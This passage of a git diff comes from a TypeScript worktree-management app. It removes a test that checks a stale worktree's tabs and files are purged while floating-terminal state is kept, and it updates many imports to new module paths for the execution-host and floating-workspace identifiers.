stale worktree', async () => { - const store = createTestStore() - const wtA = makeWorktree({ id: 'repoA::/a/wt1', repoId: 'repoA', path: '/a/wt1' }) - const wtB = makeWorktree({ id: 'repoB::/b/wt1', repoId: 'repoB', path: '/b/wt1' }) - const staleId = 'repoA::/a/zombie' - const floatingFile = { - id: 'floating-file', - worktreeId: FLOATING_TERMINAL_WORKTREE_ID, - filePath: '/floating/note.md', - relativePath: 'note.md', - language: 'markdown', - isDirty: false, - isPreview: false, - mode: 'edit' as const - } - - worktreeListMock.mockImplementation(async ({ repoId }: { repoId: string }) => - repoId === 'repoA' ? [wtA] : [wtB] - ) - - store.setState({ - repos: [repoA, repoB], - activeWorktreeId: FLOATING_TERMINAL_WORKTREE_ID, - activeFileId: 'floating-file', - activeTabId: 'floating-terminal-tab', - activeTabType: 'editor' as const, - tabsByWorktree: { - [wtA.id]: [{ id: 'tab-A', worktreeId: wtA.id }], - [staleId]: [{ id: 'tab-zombie', worktreeId: staleId }], - [FLOATING_TERMINAL_WORKTREE_ID]: [ - { id: 'floating-terminal-tab', worktreeId: FLOATING_TERMINAL_WORKTREE_ID } - ] - }, - browserTabsByWorktree: { - [FLOATING_TERMINAL_WORKTREE_ID]: [{ id: 'floating-browser', url: 'https://orca.test' }] - }, - activeBrowserTabIdByWorktree: { - [FLOATING_TERMINAL_WORKTREE_ID]: 'floating-browser' - }, - openFiles: [ - floatingFile, - { - id: 'stale-file', - worktreeId: staleId, - filePath: '/a/zombie/stale.ts', - relativePath: 'stale.ts', - language: 'typescript', - isDirty: false, - isPreview: false, - mode: 'edit' as const - } - ], - activeFileIdByWorktree: { - [FLOATING_TERMINAL_WORKTREE_ID]: 'floating-file', - [staleId]: 'stale-file' - }, - unifiedTabsByWorktree: { - [FLOATING_TERMINAL_WORKTREE_ID]: [ - { - id: 'floating-unified-tab', - type: 'editor', - worktreeId: FLOATING_TERMINAL_WORKTREE_ID, - fileId: 'floating-file' - } - ], - [staleId]: [{ id: 'stale-unified-tab', worktreeId: staleId }] - }, - groupsByWorktree: { - [FLOATING_TERMINAL_WORKTREE_ID]: [ - { - id: 'floating-group', - worktreeId: FLOATING_TERMINAL_WORKTREE_ID, - activeTabId: 'floating-unified-tab' - } - ], - [staleId]: [{ id: 'stale-group', worktreeId: staleId, activeTabId: 'stale-unified-tab' }] - }, - layoutByWorktree: { - [FLOATING_TERMINAL_WORKTREE_ID]: { type: 'leaf', groupId: 'floating-group' }, - [staleId]: { type: 'leaf', groupId: 'stale-group' } - } - } as unknown as Partial) - - await store.getState().fetchAllWorktrees() - - expect(store.getState().hasHydratedWorktreePurge).toBe(true) - expect(store.getState().tabsByWorktree).toEqual({ - [wtA.id]: [{ id: 'tab-A', worktreeId: wtA.id }], - [FLOATING_TERMINAL_WORKTREE_ID]: [ - { id: 'floating-terminal-tab', worktreeId: FLOATING_TERMINAL_WORKTREE_ID } - ] - }) - expect(store.getState().browserTabsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toEqual([ - { id: 'floating-browser', url: 'https://orca.test' } - ]) - expect(store.getState().openFiles).toEqual([floatingFile]) - expect(store.getState().activeFileIdByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toBe( - 'floating-file' - ) - expect(store.getState().unifiedTabsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toHaveLength(1) - expect(store.getState().groupsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toHaveLength(1) - expect(store.getState().layoutByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toEqual({ - type: 'leaf', - groupId: 'floating-group' - }) - expect(store.getState().activeWorktreeId).toBe(FLOATING_TERMINAL_WORKTREE_ID) - expect(store.getState().activeFileId).toBe('floating-file') - expect(store.getState().activeTabId).toBe('floating-terminal-tab') - expect(store.getState().activeTabType).toBe('editor') - }) -}) diff --git a/src/renderer/src/store/slices/worktrees/metadata/foreign-host-status-guard.ts b/src/renderer/src/store/slices/worktrees/metadata/foreign-host-status-guard.ts index 7359700a3c4..c9cdb32fdad 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/foreign-host-status-guard.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/foreign-host-status-guard.ts @@ -5,7 +5,7 @@ import { withoutForeignHostStatus, type StatusColumnOwner } from '../../../workspaces/status/host-workspace-status-columns' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' /** The card's host and runtime owner; null when neither the caller nor the store knows its host. */ function statusOwner( diff --git a/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts b/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts index 8b86d69a1a5..8df6a9a7fe3 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts @@ -35,7 +35,7 @@ import { runtimeTargetForWorktreeOwner } from '../listing/worktree-owner-target' import { runtimeTargetForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner' import { hasUniqueIndexedRepositoryHost } from '@/lib/workspace/ownership/repository-owner-index' import { resolveReviewRepository } from '@/lib/source-control/review/review-owner' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types' import type { WorktreeSlice } from '../worktree-slice-contract' diff --git a/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts b/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts index 685ff5ff5de..1b5345649ef 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts @@ -13,7 +13,10 @@ import { persistWorktreeMeta } from './worktree-meta-persist' import { withPendingSidebarRowWrites } from '@/components/sidebar/sidebar-feed/sidebar-pending-layer' import { isRuntimeSelectorNotFoundError } from '../listing/runtime-worktree-rpc-errors' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { getIndexedWorktreesById } from '../listing/worktree-catalog-index' function getKnownOwnerHostIds( diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-copy-review-clear.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-copy-review-clear.ts index 0f84d225f37..c73592adc2c 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/worktree-copy-review-clear.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-copy-review-clear.ts @@ -3,7 +3,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { normalizeWorkspaceAttachmentUpdate } from '../../../../../../shared/workspace-attachments/workspace-attachments' import { CLEARED_HOSTED_REVIEW_LINK_UPDATES } from '../../../../../../shared/worktree/hosted-review/hosted-review-links' import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id' diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-git-identity-update.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-git-identity-update.ts index d54b977bd8a..949cd436520 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/worktree-git-identity-update.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-git-identity-update.ts @@ -32,7 +32,10 @@ import { persistWorktreeMeta } from './worktree-meta-persist' import { withRepoHostOwnership } from '../listing/worktree-host-ownership' import { getRepoRegistrationHostIds } from '../../../../../../shared/repository/repo-host-identity' import { isRuntimeSelectorNotFoundError } from '../listing/runtime-worktree-rpc-errors' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { hostWorktreeTarget } from '../../../../../../shared/worktree/host-qualified-identity' import { selectWorkspaceByHostTarget, diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-actions.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-actions.ts index 940da88eedc..a8854379825 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-actions.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-actions.ts @@ -1,6 +1,9 @@ import type { WorktreeSlice } from '../worktree-slice-contract' import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { ipcOrRuntimeTargetForHostId, runtimeTargetForOwnerEnvironment diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-host-merge.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-host-merge.ts index ca81bc0b172..162b58fe465 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-host-merge.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-host-merge.ts @@ -7,7 +7,7 @@ import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/w import { getRepoExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { findFirstIndexedWorktree } from '../../../../lib/workspace/ownership/worktree-runtime-owner-index' import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id' import { findRepoForHost } from '../../../repos/repo-host-identity' diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-refresh.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-refresh.ts index 5246de80330..3aaa9bab7e8 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-refresh.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-refresh.ts @@ -19,7 +19,7 @@ import { withStoreCrossStoreLineage, type HostLineageList } from './cross-store-lineage-state' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { replaceWorktreeInRepoLists } from '../listing/worktree-owner-settings' import { withRepoHostOwnership, diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-persist.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-persist.ts index 520d21ceacd..47fd83c43ea 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-persist.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-persist.ts @@ -17,7 +17,7 @@ import { toRuntimeWorktreeSelector } from '../../../../runtime/rpc/targets/runti import { translate } from '@/i18n/i18n' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import type { WorktreeMeta } from '../../../../../../shared/worktree/meta-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { encodePushTargetClearForRuntimeRpc } from './hosted-review-link-update-encoding' type PendingDisplayNameWrite = { diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-update-application.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-update-application.ts index 28e4fead34d..947d42a889d 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-update-application.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-update-application.ts @@ -1,7 +1,7 @@ import type { WorktreeMeta } from '../../../../../../shared/worktree/meta-types' import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { worktreeRowMatchesMetaHost } from '../listing/worktree-meta-host-match' import { branchName } from '@/lib/source-control/branches/branch-name' import { normalizeWorkspaceAttachmentUpdate } from '../../../../../../shared/workspace-attachments/workspace-attachments' diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-update-options.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-update-options.ts index eff6b11edca..9243cb36549 100644 --- a/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-update-options.ts +++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-update-options.ts @@ -1,7 +1,7 @@ import type { WorktreeMeta } from '../../../../../../shared/worktree/meta-types' import type { DetectedWorktree, Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export type WorktreeMetaUpdateGuard = (worktree: Worktree | DetectedWorktree | undefined) => boolean diff --git a/src/renderer/src/store/slices/worktrees/session/selected-host-active-workspace-identity.test.ts b/src/renderer/src/store/slices/worktrees/session/selected-host-active-workspace-identity.test.ts index fea65410b48..4add8cc3a40 100644 --- a/src/renderer/src/store/slices/worktrees/session/selected-host-active-workspace-identity.test.ts +++ b/src/renderer/src/store/slices/worktrees/session/selected-host-active-workspace-identity.test.ts @@ -1,5 +1,5 @@ import { afterEach, describe, expect, it } from 'vitest' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../../shared/worktree/types' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/store/slices/worktrees/session/worktree-pin-reveal.ts b/src/renderer/src/store/slices/worktrees/session/worktree-pin-reveal.ts index 3239aaaa7cb..ad84165f551 100644 --- a/src/renderer/src/store/slices/worktrees/session/worktree-pin-reveal.ts +++ b/src/renderer/src/store/slices/worktrees/session/worktree-pin-reveal.ts @@ -11,7 +11,7 @@ import { } from '../../../../../../shared/worktree/lineage/resolved-worktree-lineage' import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getIndexedWorktreesById } from '../listing/worktree-catalog-index' import '@/lib/workspace/ownership/worktree-runtime-owner-index' import { worktreeOwnerHostIds } from '@/lib/workspace/ownership/workspace-catalog-owner-index' diff --git a/src/renderer/src/store/slices/worktrees/session/worktree-slice-lookups.ts b/src/renderer/src/store/slices/worktrees/session/worktree-slice-lookups.ts index 005718c3c2a..4f048f7acce 100644 --- a/src/renderer/src/store/slices/worktrees/session/worktree-slice-lookups.ts +++ b/src/renderer/src/store/slices/worktrees/session/worktree-slice-lookups.ts @@ -1,7 +1,7 @@ import { captureWorkspaceTerminalNoticeRemoval } from '../../../terminals/retirement/terminal-notice-removal' import type { WorktreeSlice } from '../worktree-slice-contract' import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { getTerminalActivationSpawnSuppression } from '../../../terminals/pty/terminal-activation-spawn-suppression' import { findKnownWorktreeById } from '../listing/detected-worktree-meta' import { buildWorktreePurgeState } from '../teardown/worktree-purge-state' diff --git a/src/renderer/src/store/slices/worktrees/session/worktree-terminal-reference.ts b/src/renderer/src/store/slices/worktrees/session/worktree-terminal-reference.ts index 92b8540fd5e..fe836d32d01 100644 --- a/src/renderer/src/store/slices/worktrees/session/worktree-terminal-reference.ts +++ b/src/renderer/src/store/slices/worktrees/session/worktree-terminal-reference.ts @@ -2,7 +2,7 @@ import type { Repo } from '../../../../../../shared/repository/repo-types' import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getProviderRuntimeContextKey } from '@/runtime/hosts/observations/provider-runtime-context' import { getRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision' import type { WorktreeSlice } from '../worktree-slice-contract' diff --git a/src/renderer/src/store/slices/worktrees/session/worktree-visit-recency.ts b/src/renderer/src/store/slices/worktrees/session/worktree-visit-recency.ts index 1f69f8ea48a..5bd3d2462b7 100644 --- a/src/renderer/src/store/slices/worktrees/session/worktree-visit-recency.ts +++ b/src/renderer/src/store/slices/worktrees/session/worktree-visit-recency.ts @@ -7,7 +7,7 @@ import { parseWorkspaceKey, worktreeWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getWorktreeIdFromVisitKey, getWorktreeVisitKey, diff --git a/src/renderer/src/store/slices/worktrees/teardown/dispatch-worktree-removal.ts b/src/renderer/src/store/slices/worktrees/teardown/dispatch-worktree-removal.ts index 53d769d711f..3c92a89d847 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/dispatch-worktree-removal.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/dispatch-worktree-removal.ts @@ -1,5 +1,8 @@ import { showNestedWorktreePreservedBranchesToast } from '@/components/sidebar/workspace-actions/deletion/nested-worktree-preserved-branches-toast' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../../../shared/worktree/create-types' import { callRuntimeRpc } from '../../../../runtime/rpc/calls/runtime-rpc-call' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/store/slices/worktrees/teardown/force-delete-preserved-branch.ts b/src/renderer/src/store/slices/worktrees/teardown/force-delete-preserved-branch.ts index 40c0683a060..8d18086cca6 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/force-delete-preserved-branch.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/force-delete-preserved-branch.ts @@ -1,5 +1,5 @@ import type { WorktreeSlice } from '../worktree-slice-contract' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types' import { toast } from 'sonner' import { translate } from '@/i18n/i18n' diff --git a/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-removal.ts b/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-removal.ts index 36aa16079a9..d4218deca71 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-removal.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-removal.ts @@ -4,7 +4,7 @@ import type { RemoveWorktreeResult } from '../../../../../../shared/worktree/cre import type { WorktreeSlice } from '../worktree-slice-contract' import type { Worktree } from '../../../../../../shared/worktree/types' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getWorktreeOperationOwnerHostIds, resolveWorktreeOperationRoute, diff --git a/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-row-removal.ts b/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-row-removal.ts index 78f87aefdb8..c1c05ec5379 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-row-removal.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/host-qualified-worktree-row-removal.ts @@ -1,6 +1,9 @@ import { requestVirtualizedScrollAnchorRecord } from '@/hooks/requestVirtualizedScrollAnchorRecord' import { getWorktreeOperationOwnerHostIds } from '@/lib/workspace/ownership/worktree-operation-route' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { resolveWorkspaceCleanupRemovalHostId } from '../../../../../../shared/workspace-cleanup/workspace-cleanup-host-identity' import { rememberAuthoritativelyRemovedWorktrees } from '../listing/authoritative-worktree-removal-memory' import { worktreeHostMatchOptions, worktreeMatchesHost } from '../listing/worktree-host-ownership' diff --git a/src/renderer/src/store/slices/worktrees/teardown/host-twin-purge-scopes.ts b/src/renderer/src/store/slices/worktrees/teardown/host-twin-purge-scopes.ts index 916cf8c3f42..5776510325d 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/host-twin-purge-scopes.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/host-twin-purge-scopes.ts @@ -5,7 +5,7 @@ import { toRuntimeExecutionHostId, type ExecutionHostId, getRepoExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id' import type { WorktreePurgeTarget } from './worktree-purge-target' diff --git a/src/renderer/src/store/slices/worktrees/teardown/host-twin-worktree-purge.ts b/src/renderer/src/store/slices/worktrees/teardown/host-twin-worktree-purge.ts index 375e1a2dc38..97176467204 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/host-twin-worktree-purge.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/host-twin-worktree-purge.ts @@ -1,5 +1,8 @@ import type { AppState } from '../../../types' -import { toSshExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + toSshExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import '../../../../../../shared/folder-workspaces/folder-workspace-execution-host' import { collectRemovedHostTwinState, diff --git a/src/renderer/src/store/slices/worktrees/teardown/host-worktree-removal-state.ts b/src/renderer/src/store/slices/worktrees/teardown/host-worktree-removal-state.ts index a9eed8dc5a3..ef61da6a86b 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/host-worktree-removal-state.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/host-worktree-removal-state.ts @@ -1,7 +1,7 @@ import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { isRecoverableRemoteRuntimeConnectionError, isRuntimeRpcQueueOverloadError, diff --git a/src/renderer/src/store/slices/worktrees/teardown/orphaned-runtime-ssh-project-purge.ts b/src/renderer/src/store/slices/worktrees/teardown/orphaned-runtime-ssh-project-purge.ts index 8aa1f039e6a..5fa90503c7a 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/orphaned-runtime-ssh-project-purge.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/orphaned-runtime-ssh-project-purge.ts @@ -2,7 +2,7 @@ import { getRepoExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { AppState } from '../../../types' // Why: an SSH per-workspace-env project's host is the runtime-owned SSH target; once that runtime is destroyed, remove the project or it lingers as a dead, never-connectable one. diff --git a/src/renderer/src/store/slices/worktrees/teardown/preserved-branch-cleanup-target.ts b/src/renderer/src/store/slices/worktrees/teardown/preserved-branch-cleanup-target.ts index 986fb52d96b..6d29e87a30a 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/preserved-branch-cleanup-target.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/preserved-branch-cleanup-target.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../../../shared/worktree/create-types' import type { WorktreeOperationRoute } from '@/lib/workspace/ownership/worktree-operation-route' import { preservedBranchCleanupKey } from '../../../../../../shared/git/branches/preserved-branch-cleanup' diff --git a/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-ownership.test.ts b/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-ownership.test.ts index 56725649c21..c54e83233ef 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-ownership.test.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-ownership.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi } from 'vitest' -import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { worktreeWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' vi.mock('sonner', () => ({ diff --git a/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-state.ts b/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-state.ts index a0364fe08b8..6f4b5a75b92 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-state.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/purge-stale-runtime-host-state.ts @@ -5,11 +5,11 @@ import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-sli import type { ProjectHostSetup } from '../../../../../../shared/project/project-types' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { DetectedWorktreeListResult } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getRepoExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { diff --git a/src/renderer/src/store/slices/worktrees/teardown/purged-structured-launch-retirement.ts b/src/renderer/src/store/slices/worktrees/teardown/purged-structured-launch-retirement.ts index 8d8d4636d1e..2ea3c0020b0 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/purged-structured-launch-retirement.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/purged-structured-launch-retirement.ts @@ -1,5 +1,5 @@ import { markStructuredAgentSessionLaunchCancelledSilently } from '@/lib/agent-session/launch/structured-agent-session-launch-cancel' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types' import type { Tab } from '../../../../../../shared/workspace-layout/tab-groups/tab-types' import type { AppState } from '../../../types' diff --git a/src/renderer/src/store/slices/worktrees/teardown/remove-worktree-store-cleanup.ts b/src/renderer/src/store/slices/worktrees/teardown/remove-worktree-store-cleanup.ts index d1fdf8d19ca..630145bfeb4 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/remove-worktree-store-cleanup.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/remove-worktree-store-cleanup.ts @@ -1,7 +1,7 @@ import { worktreeWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { forgetCombinedDiffViewsForWorktrees } from '@/components/editor/combined-diff/remember-view/combined-diff-view-cache' import { forgetDisplayedPanesForWorktrees } from '@/components/sidebar/worktree-card-slot-pane-index' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeSliceSet } from '../listing/worktree-slice-types' import { removeDeleteStatesForWorktreeIds } from './worktree-delete-state' import { removeWorktreeVisitEntries } from '@/lib/workspace/activation/worktree-visit-recency' diff --git a/src/renderer/src/store/slices/worktrees/teardown/remove-worktree.ts b/src/renderer/src/store/slices/worktrees/teardown/remove-worktree.ts index facfb35329e..605c7d00998 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/remove-worktree.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/remove-worktree.ts @@ -1,5 +1,5 @@ import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { ensureHooksConfirmed } from '@/runtime/repo-hooks/ensure-hooks-confirmed' import { runtimeTargetForOwnerEnvironment } from '../../../../runtime/rpc/targets/runtime-client-target' import { forgetHugeRepoWarningDismissalsForWorktrees } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals' diff --git a/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-chat-drafts.ts b/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-chat-drafts.ts index ea4eb5401c7..8161f566c0a 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-chat-drafts.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-chat-drafts.ts @@ -5,7 +5,7 @@ import { } from '@/components/native-chat/drafts/native-chat-launch-draft-source' import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id' import type { AppState } from '../../../types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { NativeChatComposerDraftOwner } from '@/components/native-chat/drafts/native-chat-composer-draft-storage' import { deleteNativeChatComposerDraft, diff --git a/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-renderer-teardown.ts b/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-renderer-teardown.ts index ab81f1f7267..8084f053441 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-renderer-teardown.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-renderer-teardown.ts @@ -1,5 +1,5 @@ import { retireRemovedWorktreeTerminalNotices } from '../../../terminals/retirement/terminal-notice-removal' -import 